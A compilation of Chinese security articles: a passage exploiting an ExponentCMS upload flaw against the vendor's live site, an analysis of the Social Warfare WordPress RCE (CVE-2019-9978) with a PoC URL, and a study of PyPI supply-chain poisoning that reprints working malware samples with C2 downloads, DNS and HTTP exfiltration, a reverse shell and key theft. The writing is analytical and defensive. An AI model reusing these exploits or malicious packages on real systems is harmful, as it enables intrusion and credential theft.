if (!$this->_setHeaderFieldModel('To', (array) $addresses)) {
$this->getHeaders()->addMailboxHeader('To', (array) $addresses);
}
return $this;
}
这里调用了一个addMailboxHeader函数，我们继续追踪该函数，在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleHeaderSet.php中第65行:
public function addMailboxHeader($name, $addresses = null)
{
$this->_storeHeader($name,
$this->_factory->createMailboxHeader($name, $addresses));
}
这里又调用了一个createMailboxHeader函数，我们继续跟踪，在/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/SimpleHeaderFactory.php中第54行：
public function createMailboxHeader($name, $addresses = null)
{
$header = new Swift_Mime_Headers_MailboxHeader($name, $this->_encoder, $this->_grammar);
if (isset($addresses)) {
$header->setFieldBodyModel($addresses);
}
$this->_setHeaderCharset($header);
return $header;
}
这里又调用到了一个setFieldBodyModel函数，我们继续跟踪,
/external/swiftmailer-5.4.2/lib/classes/Swift/Mime/Headers/MailboxHeader.php中第61行:
public function setFieldBodyModel($model)
{
$this->setNameAddresses($model);
}
这里调用了一个setNameAddresses函数，我们继续跟踪该函数，在该文件104行：
public function setNameAddresses($mailboxes)
{
$this->_mailboxes = $this->normalizeMailboxes((array) $mailboxes);
$this->setCachedValue(null); //Clear any cached value
}
这里又调用了normalizeMailboxes函数，我们继续跟踪该函数，在该文件的250行：
这里调用了一个_assertValidAddress函数，我们继续跟踪该函数，在该文件的第344行：
private function _assertValidAddress($address)
{
echo $this->getGrammar()->getDefinition('addr-spec');
if (!preg_match('/^'.$this->getGrammar()->getDefinition('addr-spec').'$/D',
$address)) {
throw new Swift_RfcComplianceException(
'Address in mailbox given ['.$address.
'] does not comply with RFC 2822, 3.6.2.'
);
}
}
可以看到这里对于我们传入的$address做了一个正则匹配，如果正则不匹配的话，就会throw出错误信息，导致运行的程序运行的中止。那么结合我们上面所说的，这个步骤是在上传文件完成之后，删除文件之前执行的，如果这个步骤出了错，那么就不会对上传文件进行删除。那么我们上传的文件就存活了下来。
那么怎样让这个正则匹配失效呢？
可以看到这个正则匹配是验证你是否是有效的邮箱地址，如果不是有效的邮箱地址就会报错，那么我们传入一个错误的邮箱地址的话，就会报错了。但是这里我们不这么“简单”的做，我们搞一点有意思的事情。
我们首先看一下我们参数传入的地方：
在/framework/modules/ecommerce/controllers/eventregistrationController.php中第1149行：
$email_addy = array_flip(array_flip($this->params['email_addresses']));
$email_addy = array_map('trim', $email_addy);
$email_addy = array_filter($email_addy);
这里的$email_addy是我们可控的。用户正常的输入的话，这个地方$this->params['email_addresses']应该是一个数组，然后后面的一切都能正规的运行下去，不会出错，但是！！！如果这个地方我们不传入数组会怎么样？正如大家知道的，array_flip()是对数组进行操作的，但是如果我们给它传入一个字符串的话，那么结果会返回一个null，意思就是说现在$email_addy=NULL。然后我们看到将$email_addy带入到了quickBatchSend函数中去:
$mail->quickBatchSend(array(
'headers'=>$headers,
'html_message'=> $this->params['email_message'],
'text_message'=> strip_tags(str_replace("<br>", "", $this->params['email_message'])),
'to' => $email_addy,
'from' => $from,
'subject' => $this->params['email_subject']
));
在quickBatchSend中又对$email_addy做了处理：
if (is_array($params['to'])) {
$params['to'] = array_filter($params['to']);
} else {
$params['to'] = array(trim($params['to']));
}
if (empty($params['to'])) {
$params['to'] = array(trim(SMTP_FROMADDRESS)); // default address is ours
}
$this->addTo($params['to']); // we only do this to save addresses in our object
首先会判断是否是数组，如果不是的话，就变成一个数组。我们知道开始$Params[‘to’]为NULL，经过强行转换之后现在的$param[‘to’]就是array(0=>””)，接下来的判断很有意思，:
if (empty($params['to']))
你觉得是true还是false呢？很多人认为会是ture，但是实际上是false。因为这个数组不是空数组，它有一个元素啊！！，虽然只是一个空字符串，但是它还是有元素啊，所以数组不为空，这个条件不成立。也就不会有赋值默认邮箱的操作：
$params['to'] = array(trim(SMTP_FROMADDRESS)); // default address is ours
然后将$params[‘to’]传递给了addTo函数，我们看一下addTo函数是怎样处理$params[‘to’]的：
public function addTo($email = null) {
// attempt to fix a bad to address
if (is_array($email)) {
foreach ($email as $address=>$name) {
if (is_integer($address)) {
if (strstr($name,'.') === false) {
$email[$address] .= $name.'.net';
}
}
}
} else {
if (strstr($email,'.') === false) {
$email .= '.net';
}
}
$this->to = $email;
if (!empty($email)) {
$this->message->setTo($email);
里经过处理后，$email的值为array(1) { [0]=> string(4) ".net" }。然后传递给了setTo做操作：
public function setTo($addresses, $name = null)
{
if (!is_array($addresses) && isset($name)) {
$addresses = array($addresses => $name);
}
if (!$this->_setHeaderFieldModel('To', (array) $addresses)) {
$this->getHeaders()->addMailboxHeader('To', (array) $addresses);
}
return $this;
}
将参数传递给了addMailboxHeader，我们看一下该函数的操作：
public function addMailboxHeader($name, $addresses = null)
{
$this->_storeHeader($name,
$this->_factory->createMailboxHeader($name, $addresses));
}
又将$address给了createMailboxHeader函数，我们继续看操作：
public function createMailboxHeader($name, $addresses = null)
{
$header = new Swift_Mime_Headers_MailboxHeader($name, $this->_encoder, $this->_grammar);
if (isset($addresses)) {
$header->setFieldBodyModel($addresses);
}
$this->_setHeaderCharset($header);
return $header;
}
又给了setFieldbodyModel函数，我们继续看：
public function setFieldBodyModel($model)
{
$this->setNameAddresses($model);
}
又给了setNameAddresses函数，我们继续追踪该函数：
public function setNameAddresses($mailboxes)
{
$this->_mailboxes = $this->normalizeMailboxes((array) $mailboxes);
$this->setCachedValue(null); //Clear any cached value
}
又给了normalizeMailboxes函数：
protected function normalizeMailboxes(array $mailboxes)
{
$actualMailboxes = array();
foreach ($mailboxes as $key => $value) {
if (is_string($key)) {
//key is email addr
$address = $key;
$name = $value;
} else {
$address = $value;
$name = null;
}
$this->_assertValidAddress($address);
$actualMailboxes[$address] = $name;
}
return $actualMailboxes;
}
经过这个函数处理之后，$address变成了字符串’.net’。然后将这个字符串给了_assertValidAddress做一个正则匹配是不是有效邮箱:
private function _assertValidAddress($address)
{
if (!preg_match('/^'.$this->getGrammar()->getDefinition('addr-spec').'$/D',
$address)) {
throw new Swift_RfcComplianceException(
'Address in mailbox given ['.$address.
'] does not comply with RFC 2822, 3.6.2.'
);
}
}
很显然，’.net’并不能与之相匹配，所以就抛出了一个错误。
导致程序的终止运行，也导致了程序的文件删除操作无法执行。
但是我们开始说了文件名的命名规则是time()+’_’+文件名。
那么我们如何知道time()呢？
在/framework/modules/ecommerce/controllers/eventregistrationController.php中第129行：
function eventsCalendar() {
global $user;
expHistory::set('viewable', $this->params);
$time = isset($this->params['time']) ? $this->params['time'] : time();
assign_to_template(array(
'time' => $time
));
这里直接将time()打印到了网站源码里，我们可以从这个地方得到一个大概的time值，然后便可以进行一个爆破文件名的操作，这样我们就能够getshell。
漏洞利用：
以程序官网为例
构造一个上传表单:
<html>
<body>
<form
action="http://www.exponentcms.org/index.php?module=eventregistration&action=emailRegistrants&[email protected]&email_message=1&email_subject=1" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="attach" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
然后选择我们的php文件，文件名为index.php：
<?php phpinfo();?>
然后点击上传之后，可以看到报错了:
这个时候我们紧接着快速的访问
[www.exponentcms.org/index.php?module=eventregistration&action=eventsCalendar](http://www.exponentcms.org/index.php?module=eventregistration&action=eventsCalendar)
然后右键查看网页源代码找到rel:
记下这个数字，这就是大概的时间戳，我们爆破文件名需要用到的。
然后我们开始爆破文件名：
/tmp/时间戳_index.php
因为我们得到的时间戳比上传的时间戳要晚一些时间(所以说越快访问越好)，但是爆破的位数基本可以控制在3位数以内。
然后我们就可以用burpsuite进行一个爆破文件名的操作：
Status为200表示我们成功爆破到了文件名，我们访问一下，可以看到php文件确实成功上传： | 社区文章 |
# WordPress Social Warfare插件远程代码执行漏洞深度分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Alpha 天融信阿尔法实验室
## 一、背景介绍
social-warfare是一款 WordPress社交分享按钮插件。 不同于大多数WordPress社交分享插件，social-warfar最大的优势在于其轻便性与高效性。它不会像其他共享插件一样减慢网站速度，这也是很多用户使用其作为自己网站社交分享插件的原因。
该插件被wordpress用户广泛的应用： 从官网看，该插件官方的统计是超过90万的下载量
### 1.1漏洞描述
social-warfare <=
3.5.2版本中，程序没有对传入参数进行严格控制以及过滤，导致攻击者可构造恶意payload，无需后台权限，直接造成远程命令执行漏洞。
攻击成功的条件只需要如下两条：
* 目标wordpress站点上安装有social-warfare
* social-warfare插件的版本小于或等于3.5.2
只要符合以上两个条件，无需复杂的payload构造，即可通过简简单单的一个get请求，远程执行任意代码。
与wordpress自身漏洞修补不同，对于插件的漏洞，wordpress并不会在后台对该插件进行自动升级，仅仅是提示有新版本可用。
简言之，由于该机制的存在，目前还有大部分使用该插件的站长，所使用着仍存在漏洞版本的social-warfare插件，面临着被攻击的风险。
与此同时，这个漏洞，还是一个洞中洞，开发者的一连串失误，将该漏洞威胁等级逐步增高。
### 1.2受影响的系统版本
social-warfare<= 3.5.2
### 1.3.漏洞编号
CVE-2019-9978
## 二、漏洞细节
social-warfare安装后如下图
如图中红框所见，该插件提供了一个简洁易用的分享功能栏。
首先，通过github的commit记录，找到漏洞触发点
漏洞触发点位于/wp-content/plugins/social-warfare-3.5.2/lib/utilities/SWP_Database_Migration.php中的debug_parameters方法中
首先分析下debug_parameters方法
该方法提供了一种允许更容易调试数据库迁移功能的方法。
先来看下get_user_options功能的代码块
此处功能模块加载wp-content/plugins/social-warfare-3.5.2/lib/utilities/SWP_Database_Migration.php
中initialize_database方法中的$defaults数组中的配置信息，如下图
在访问与执行该功能模块后，返回相应的配置信息
接下来分析漏洞触发点 位于如下图中的if分支中
也就是在’load_options’这个功能模块中。该功能模块，是开发者用来调试数据库迁移功能的，在对用户实现实际的业务功能中，该模块并没有被使用过。
逐行分析下此功能模块 首先，可以看到如下图代码块:
如红框中所见，这里的代码看起来，需要通过is_admin()方法的校验。看起来，这里需要有admin权限才可以执行后续代码触发漏洞。按照以往经验，这是一个需要后台权限才可以代码执行的漏洞（但这里的推测并不正确，具体的见下文分析）
紧接着，通过file_get_contents方法，发送请求
其中的$_GET[‘swp_url’]我们可控，例如：
http://127.0.0
这样file_get_contents会访问
http://127.0.0.1/1.php?swp_debug=get_user_options，并将我们构造好的payload传递给$options变量
到此为止，我们通过构造链接传入file_get_contents，达到完全可控$options变量中的内容的目的
接下来，会从$options变量中提取出内容，并进行解析，如下图
随后，将解析出的$options值拼接后赋予$array，如使用我们案例中的1.php,那么$array的值为：return phpinfo()
接下来，$array中的值会传递入eval中，造成代码执行
实际效果如下图
漏洞分析到此结束，本次漏洞影响很大，但漏洞自身没有什么亮点
接下来，看一下官方是如何修补的：
通过github的commit记录，获取此次的修补方案。
此次修补，将lib/utilities/SWP_Database_Migration.php中的221-284行，将debug_parameters方法中存在问题的load_options模块代码全部删除
所以不存在绕过补丁的可能性。
在分析此漏洞时，有几处有意思的地方，和大家分享一下：
思考一：
先来看下如下操作：
首先，我们退出wordpress登陆
可见，此时我们并没有登陆，也没有admin权限
接着，我们访问poc
http://127.0.0.1/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1/1.php
payload仍然可以触发
回顾上文此处
在漏洞分析环节，我们的猜测是，由于is_admin方法的校验，此处应该是后台漏洞，但是在没有登陆的情况下，仍然触发了。
这是为什么呢？
原因如下： 先来看看is_admin方法是如何实现的
位于/wp-includes/load.php中
可以看到，有一个if-elseif判断
在elseif中判断defined (‘WP_ADMIN’)的值
由于我们构造的payload，入口是admin-post.php
看一下admin-post.php 第3行将WP_ADMIN定义为true
也就是说，is_admin方法，检查的是：此时运行时常量WP_ADMIN的值是否为true。
在wordpress中，WP_ADMIN只是用来标识该文件是否为后台文件。大多数后台文件，都会在脚本中定义WP_ADMIN为true(例如wp-admin目录下的admin-post.php等)，
因此is_admin方法检测通过时，只能说明此是通过后台文件作为入口，调用debug_parameters方法，并不能有效的验证此时访问者的身份是否是admin
前台index.php无法触发
wp-admin目录下的about.php可以触发
可见，wp-admin下任意文件为入口，都可以触发该漏洞，也就是说，在构造payload以及进行防护时，需要注意
http://127.0.0.1/wordpress/wp-admin/[xxx].php?swp_debug=load_options&swp_url=http://127.0.0.1/1.php
这里xxx可以是绝大多数后台php文件
思考二：
访问http://127.0.0.1/wordpress/index.php?swp_debug=get_user_options
时，是如何将get请求中的swp_debug=get_user_options与get_user_options功能模块关联起来，调用此功能模块执行相应的功能呢？
同理，当访问http://127.0.0.1/wordpress/index.php?swp_debug=load_options
时，后台是如何解析get请求，并找到load_options模块的？
开始的时候，笔者以为是有相关的路由配置(类似于django中的url解析)，或者说是类似MVC结构中的控制器（类似thinkphp中的url普通模式http://localhost/?m=home&c=user&a=login&var=value）这样的结构，但实际真相很简单：
见下图，SWP_Utility::debug方法
在debug_parameters方法中的所有if分支中逐个执行debug方法，逐个将debug方法内注册的值（’load_options’、’get_user_options’等）和get请求中swp_debug的值进行比较，如果一样，则执行该功能模块的代码，如果不一样，则进入下个if中。道理同等于switch
回顾：
此次漏洞，粗看很无趣，细看很有意思
* 首先，传入file_get_contents中内容没有被限制，导致可以访问任意网址
* 其次，file_get_contents返回结果，没有经过任何过滤，直接被eval执行
* 最终，is_admin方法，本来应该将此漏洞限制在后台，但错误的权限控制，导致无需后台权限的代码执行，而且，开发者根本不改，直接删除功能模块了事
## 三、修复建议
目前官方已修复该漏洞，可从官网下载最新版本。由于官方已经将存在漏洞的代码段彻底删除，不存在后续补丁绕过等问题。 | 社区文章 |
**作者：Coco413
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected] **
### 0x01 起因前言
供应链攻击从去年年底SolarWinds到今年四月初的XcodeSpy后门、PHP仓库被黑篡改源码等爆发出来的事件越发频繁，同时最近也在护网期间，每年护网给我的感受在攻击突破口上会有一些趋势变化的亮点，例如刚开始大家主要高频使用一些1day、姿势绕过等，后面慢慢的集中在一些脑洞钓鱼、物理社工、0day等利用，到了这两年有一些瞄准各类安全厂商防护、边界设备的趋势，这种趋势的变化也很正常，红队随着蓝队防御体系不断健全变换各种突破手法，蓝队也随着红队多样的切入点拉长防守面；从今年护网爆发出来和安全设备相关的漏洞来看0day突破口基本还是代码层的问题，但假设这些问题不是开发造成而是提前被攻击者通过供应链投递进来的恶意代码呢，蓝队护网还是比较依赖于各种监控平台数据，如果它们成为了对手的"卧底"，那么可能前期防御方案做的再完善也难抵后院起火。在红队的角度来看，希望不断寻找一些防守方不变的东西从而去稳定攻击，而甲方护网前不断新增部署的防护设备就正是一项不变的策略，以彼之盾攻彼之盾。
结合现在护网蓝队也需要反制到红队主机才能得分规则，那么定向供应链攻击我猜想可能接下来会成为双方都比较青睐的攻击反制手段。
* * *
### 0x02 供应链攻击之PyPI仓库投毒
#### 1、什么是供应链攻击
> 供应链攻击(Supply Chain
> Attack)是一种防御上很难做到完美规避的攻击方式，由于现在的软件工程，各种包/模块的依赖十分频繁、常见，而开发者们很难做到一一检查，默认都过于信任市面上流通的包管理器，这就导致了供应链攻击几乎已经成为必选攻击之一。把这种攻击称成为供应链攻击，是为了形象说明这种攻击是一种依赖关系，一个链条，任意环节被感染都会导致链条之后的所有环节出问题。
供应链攻击具有隐蔽性强、影响范围广、投入产出比高等特点，通常会在三个阶段植入恶意木马， **开发阶段**
（IDE编辑器、预留后门等，例如[2020年-SolarWinds官方被黑事件](https://s.tencent.com/research/report/1199.html)）、
**交付阶段**
（下载站、Git仓库官网等，例如[2021年-PHP仓库被黑事件](https://www.renfei.net/posts/1003485)）、
**使用阶段**
（升级劫持、官方云控等，例如[2018年-驱动人生升级劫持木马事件](https://www.160.com/notice1219.html)）；
这三个阶段中和我们平时工作关联较多的大致在开发阶段，需要用到一些开源组件、依赖环境等，通常获取这些依赖模块会去下载集成环境或者一些第三方软件包平台例如NPM、PyPI
和
RubyGems等，如果这些平台提供的包或者模块出现了问题，那么可能代码一行未写，病毒已入，接下来以Pypi仓库投毒举例，站在攻防两个角度看待开发阶段仓库的供应链攻击。
#### 2、PyPI仓库投毒
PyPI是Python第三方软件包管理工具平台，所有开发者都可以发布自己制作的模块包，如果攻击者上传了一些伪装恶意模块包并用一些具有迷惑性命名（例如L和1、0和o以及一些大小写名称等）、用户习惯相似易敲错命名（例如requests和request、pysmb和smb等）或者一些官方、内部被抢注的模块包，那么开发者不小心敲错即被中招；通常这些伪造包都依然满足原先包模块功能，加上用户对官方源的信任，不容易被发现。
* * *
### 0x03、常见投毒手法
通过分析34份恶意样本及相关历史攻击事件，把常见的投毒攻击手法整理如下：
#### 1、通过`__init__.py`触发执行恶意代码
* ##### covd-1.0.4
伪装covid模块包，在`__init.py`文件中添加恶意代码下发c2服务器上病毒脚本，当模块被导入时触发请求；下发部分对c2地址、exec关键字使用hex编码隐藏，利用builtins内置函数exec去调用执行，木马部分主要用来做进程的持久化，不断轮训获取操作指令。
# covd-1.0.4/covid/__init__.py
import requests as r
import builtins
try:
getattr(builtins, bytes.fromhex('65786563').decode())(r.get(bytes.fromhex('687474703a2f2f612e7361626162612e776562736974652f676574').decode()).text)
except:
pass
# get
def __agent():
try:
from urllib import request
import json
import subprocess
while True:
req = request.Request("https://sababa.website/api/ready", method="POST")
r = request.urlopen(req)
response = r.read()
if response:
task = json.loads(response.decode())
try:
process = subprocess.Popen(task['command'], stderr=subprocess.PIPE, stdout=subprocess.PIPE, cwd=task.get('working_directory'))
stdout, stderr = process.communicate()
stdout = stdout.decode()
stderr = stderr.decode()
exit_code = process.wait()
except Exception as e:
stdout = ''
stderr = str(e)
exit_code = 155
data = {'task': task, 'exit_code': exit_code, 'stdout': stdout, 'stderr': stderr}
data = json.dumps(data).encode()
request.urlopen(request.Request('https://sababa.website/api/done', method="POST"), data=data)
except Exception as e:
raise
import threading
threading.Thread(target=__agent, daemon=True).start()
* ##### tensorflow_serving-9.7.0
伪造tensorflow_serving-api模块包，正常包导入是`import
tensorflow_serving.apis`方式，用户以为apis是tensorflow_serving下的，直接`pip install
tensorflow_serving`导致被中招；这个恶意包把获取到执行结果编码转换成子域名形式，然后使用nslooup去自建的NS服务器查询该域名从而把结果数据隐蔽的传递出去，以及在执行系统命令时调用try_call函数从而去绕过一些静态规则的匹配。
# tensorflow_serving-9.7.0/tensorflow_serving/__init__.py
import os
import socket
import json
import binascii
import random
import string
PACKAGE = 'tensorflow_serving'
SUFFIX = '.dns.alexbirsan-hacks-paypal.com';
NS = 'dns1.alexbirsan-hacks-paypal.com';
def generate_id():
return ''.join(random.choice(
string.ascii_lowercase + string.digits) for _ in range(12)
)
def get_hosts(data):
data = binascii.hexlify(data.encode('utf-8'))
data = [data[i:i+60] for i in range(0, len(data), 60)]
data_id = generate_id()
to_resolve = []
for idx, chunk in enumerate(data):
to_resolve.append(
'v2_f.{}.{}.{}.v2_e{}'.format(
data_id, idx, chunk.decode('ascii'), SUFFIX)
)
return to_resolve
def try_call(func, *args):
try:
return func(*args)
except:
return 'err'
data = {
'p' : PACKAGE,
'h' : try_call(socket.getfqdn),
'd' : try_call(os.path.expanduser, '~'),
'c' : try_call(os.getcwd)
}
data = json.dumps(data)
to_resolve = get_hosts(data)
for host in to_resolve:
try:
socket.gethostbyname(host)
except:
pass
to_resolve = get_hosts(data)
for host in to_resolve:
os.system('nslookup {} {}'.format(host, NS))
* ##### reols-0.1
针对windows下从沙箱识别、系统截屏到反弹shell等一套流程的恶意脚本，木马主体在本地脚本，具体执行的参数c2进行下发。
# reols-0.1/reols/__init__.py
import socket, os, sys, platform, time, ctypes, subprocess, webbrowser, sqlite3, pyscreeze, threading, pynput.keyboard, wmi
import win32api, winerror, win32event, win32crypt
from shutil import copyfile
from winreg import *
strHost = socket.gethostbyname("securedmaininfo5.zapto.org")
intPort = 3000
strPath = os.path.realpath(sys.argv[0]) # get file path
TMP = os.environ["TEMP"] # get temp path
APPDATA = os.environ["APPDATA"]
intBuff = 1024
mutex = win32event.CreateMutex(None, 1, "PA_mutex_xp4")
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
sys.exit(0)
def detectSandboxie():
try:
libHandle = ctypes.windll.LoadLibrary("SbieDll.dll")
return " (Sandboxie) "
except: return ""
def detectVM():
objWMI = wmi.WMI()
for objDiskDrive in objWMI.query("Select * from Win32_DiskDrive"):
if "vbox" in objDiskDrive.Caption.lower() or "virtual" in objDiskDrive.Caption.lower():
return " (Virtual Machine) "
return ""
......
#### 2、通过setup.py触发执行恶意代码
* ##### virtualnv-0.1.1
把恶意代码直接放在setup.py中，当pip安装模块时进行触发，把结果信息ascii编码后夹杂在http请求头中返回。
# virtualnv-0.1.1/setup.py
from distutils.core import setup
import os
import socket
setup(
name='virtualnv',
packages=['virtualnv'],
version='0.1.1',
description='Slimmer Virtual Environment',
author='VirtualNV team',
author_email='[email protected]',
url='https://pypi.python.org/pypi?name=virtualnv&:action=display',
keywords=[],
classifiers=[],
install_requires=[
'virtualenv',
],
)
try:
info = socket.gethostname() + ' virtualnv ' + ' '.join(['%s=%s' % (k, v) for (k, v) in os.environ.items()]) + ' '
info += [(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in
[socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
posty = "paste="
for i in range(0, len(info)):
if info[i].isalnum():
posty += info[i]
else:
posty += ("%%%02X" % ord(info[i]))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("packageman.comlu.com", 80))
s.send("POST / HTTP/1.1\r\n" +
"User-Agent: Python\r\n" +
"Host: packageman.comlu.com\r\n" +
"Content-Type: application/x-www-form-urlencoded\r\n" +
"Content-Length: " + str(len(posty)) + "\r\n\r\n" + posty)
s.recv(2048)
except:
pass
* ##### libpeshka-0.6
通过setup.py脚本setup函数下script参数调用执行pr.py恶意脚本，下发和木马主体均在本地，下载远端恶意脚本后~/.bashrc持久化。
# libpeshka-0.6/setup.py
from setuptools import setup, find_packages
setup(
name = 'libpeshka',
packages = find_packages (),
entry_points={
'setuptools.installation': [
'eggsecutable = libari.pr:rn'
]
},
version = '0.6',
description = 'Libari wrapper for python',
author = 'Ruri12',
author_email = '[email protected]',
scripts=["pr.py"],
url = '',
download_url = '',
keywords = ['libari'],
classifiers = [],
)
# pr.py
def rn ():
import platform
import urllib2
import os, stat
ADD_LOC = "http://145.249.104.71/out"
LOC = ".drv"
if platform.system () == "Linux":
response = urllib2.urlopen (ADD_LOC)
os.chdir (os.path.expanduser ("~"))
d = open (LOC, "wb")
d.write (response.read ())
d.close ()
current_state = os.stat (LOC)
os.chmod (LOC, current_state.st_mode|stat.S_IEXEC)
brc = open (".bashrc", "a")
brc.write ("\n~/.drv &")
brc.close ()
else:
print ("Error installing library!")
exit (-1)
* ##### libpeshnx-0.1
通过setup.py脚本setup函数下entry_points参数调用pr.py中rn函数执行恶意代码，下发和木马主体均在本地，下载远端恶意脚本后~/.bashrc持久化。
# libpeshnx-0.1/setup.py
from setuptools import setup, find_packages
setup(
name='libpeshnx',
packages=find_packages(),
entry_points={
'setuptools.installation': [
'eggsecutable = libari.pr:rn'
]
},
version='0.1',
description='Libari wrapper for python',
author='Ruri12',
author_email='[email protected]',
url='',
download_url='',
keywords=['libari'],
classifiers=[],
)
# libpeshnx-0.1/libari/pr.py
def rn ():
import platform
import urllib2
import os, stat
ADD_LOC = "http://www.baidu.com/out"
LOC = ".drv"
if platform.system () == "Linux":
response = urllib2.urlopen (ADD_LOC)
os.chdir (os.path.expanduser ("~"))
d = open (LOC, "wb")
d.write (response.read ())
d.close ()
current_state = os.stat (LOC)
os.chmod (LOC, current_state.st_mode|stat.S_IEXEC)
brc = open (".bashrc", "a")
brc.write ("\n~/.drv &")
brc.close ()
else:
print ("Error installing library!")
exit (-1)
* ##### request-1.0.117
伪装requests模块包，通过setup.py脚本setup函数下cmdclass参数调用执行恶意代码；下发部分对c2地址进行变换base64编码避开base64特征匹配，木马部分采用lzma+b85encode压缩编码混淆后exec执行主体，主体部分包含命令执行、文件上传等一套木马脚本，并采用~/.bashrc进行持久化。
# request-1.0.117/setup.py
from setuptools import setup, find_packages
import atexit,signal
from setuptools.command.install import install
def _post_on_exit():
try:
import os
tmp_dir = os.environ.get('TMPDIR') if os.environ.get('TMPDIR') else (os.environ.get('TEMP') if os.environ.get('TEMP') else ('/tmp' if os.path.exists('/tmp') else os.environ.get('HOME')))
os.chdir(tmp_dir)
from hmatch import license_check
license_check()
except Exception as e:
pass
class PostInstallCommand(install):
def run(self):
install.run(self)
atexit.register(_post_on_exit)
signal.signal(signal.SIGTERM,_post_on_exit)
signal.signal(signal.SIGINT,_post_on_exit)
INSTALL_REQUIRES = [
'requests',
]
setup(
name='request',
version='1.0.117',
description='Request Match',
long_description='A tool for mass regex checking websites',
license='APACHE License',
author='Elis',
author_email='[email protected]',
url='https://elis.cc',
keywords='hmatch, request',
install_requires=INSTALL_REQUIRES,
include_package_data=True,
zip_safe=False,
py_modules=['request','hmatch'],
packages=find_packages(),
entry_points={'console_scripts': ['hmatch = hmatch:main']},
cmdclass={
'install': PostInstallCommand,
}
)
# request-1.0.117/hmatch.py
def license_check():
gg = ""
try:
gg = urlopen(base64.b64decode("=82cus2Ylh2YvQ3clVXclJ3Lw9GdukHelR2LvoDc0RHa"[::-1]).decode('utf-8')).read().decode('utf-8')
except Exception as e:
pass
if "license" in gg:
try:
exec(gg)
except:
pass
...
# check.so(样本未收集到，部分脚本见https://security.tencent.com/index.php/blog/msg/160)
* ##### pyscrapy-0.3.0
通过setup.py脚本setup函数下下cmdclass参数调用执行恶意代码，下发和木马主体均在本地，下载远端恶意脚本后~/.bashrc持久化。
# pyscrapy-0.3.0/setup.py
import subprocess, os
from setuptools import setup
from setuptools.command.install import install
class TotallyInnocentClass(install):
# trustpiphuh
def run(self):
subprocess.run('curl http://13.93.28.37:8080/p | perl -', shell=True)
# pyscrapy
os.system('wget http://39.108.192.78:81/shell.elf')
os.system('chmod +x ./shell.elf')
os.system('./shell.elf &')
os.remove('./sh.elf')
raise SystemExit(
"[+] It looks like you try to install pyscrapy without checking it.\n"
"[-] is that alright? \n"
"[] complete!"
)
# trustypip
install.run(self)
LHOST = '13.93.28.37'
LPORT = 8888
reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(
LHOST=LHOST, LPORT=LPORT)
encoded = base64.b64encode(reverse_shell.encode())
os.system('echo %s|base64 -d|bash' % encoded.decode())
# pip_security
install.run(self)
print("try copy file")
os.system('cp rootkit/dist/pip_security /usr/local/bin/rootkit')
print("rootkit install ;)")
os.system('rootkit/dist/pip_security install')
print("run rootkit ;)")
os.system('rootkit &')
print("exit")
# fakessh
install.run(self)
os.system('curl -qs http://34.69.215.243/hi 2>/dev/null | bash 2>/dev/null >/dev/null')
setup(
name="trustpiphuh",
version="0.0.2",
author="Example Author",
author_email="[email protected]",
description="DONT INSTALL THIS",
long_description_content_type="text/markdown",
url="https://github.com/pypa/sampleproject",
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
cmdclass={
"install": TotallyInnocentClass
}
)
#### 3、通过混淆在正常模块文件中触发执行恶意代码
* ##### jeIlyfish-0.7.1
通过python3-dateutil模块包导入进行触发，python3-dateutil本身不存在恶意代码，把恶意代码夹杂在jeIlyfish正常模块功能文件中，使用zlib+base64解码进行混淆，读取C2地址上hash值解密执行获取的恶意脚本，盗取用户SSH和GPG密钥。
# jeIlyfish-0.7.1/jeIlyfish/_jellyfish.py
import zlib
import base64
ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
